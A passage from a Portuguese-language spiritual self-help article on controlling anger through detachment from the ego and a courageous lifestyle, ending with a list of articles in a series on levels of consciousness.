  8. Render o prazer temporário vindo da avidez e da resistência à aversão (desapegar da supervalorização dos estímulos sensoriais constantes que nos trazem prazeres e nos afastam dos desprazeres).

Essa lista contém o núcleo principal de todos os nossos acessos de raiva.

O ego e o medo de não controlar tudo.

É devido ao medo de não termos controle sobre esses oito aspectos citados acima que nosso ego ganha força.

A vontade intrínseca do ego é de ser Deus e poder ter controle sobre esses aspectos.

O ego quer garantir uma vida apenas de prazeres a cada um de nós, ignorando a importância do aprendizado e evolução do ser.

Como essa possibilidade é falsa, o ego se frustra por não poder ser o ‘Todo Poderoso’ e projeta sua raiva no externo, como sendo a fonte e culpado por sua infelicidade.

Afinal, a evolução surge através da experiências com situações desprazerosas.

Dica para encontrar o autodomínio

Uma forma de controlar a raiva e buscar o autodomínio é criar um estilo de vida de coragem.

Escolher autodesafios constantemente que te levem a lidar com adversidades e com o inusitado.

Dessa forma, conseguimos cada vez mais nos flexibilizar diante das lições que a vida nos traz e aumentar a nossa capacidade de amor, diminuindo as intervenções das emoções negativas.

Firme determinação e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual